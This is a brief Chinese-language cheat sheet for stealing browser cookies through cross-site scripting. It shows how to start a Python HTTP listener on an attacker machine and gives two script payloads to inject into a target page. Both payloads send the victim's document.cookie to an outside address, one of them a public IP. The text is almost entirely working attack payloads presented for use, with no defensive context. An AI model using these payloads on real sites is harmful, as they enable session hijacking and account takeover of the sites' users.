本地接收cookie
攻击机起服务监听
python2 -m SimpleHTTPServer 9999
python3 -m http.server 9999
往靶机插js语句
<script>document.write('< img src="http://192.168.10.79:9999/?'+document.cookie+'" />')</script>
<script>document.location="http://112.74.79.95:9999/?"+document.cookie</script>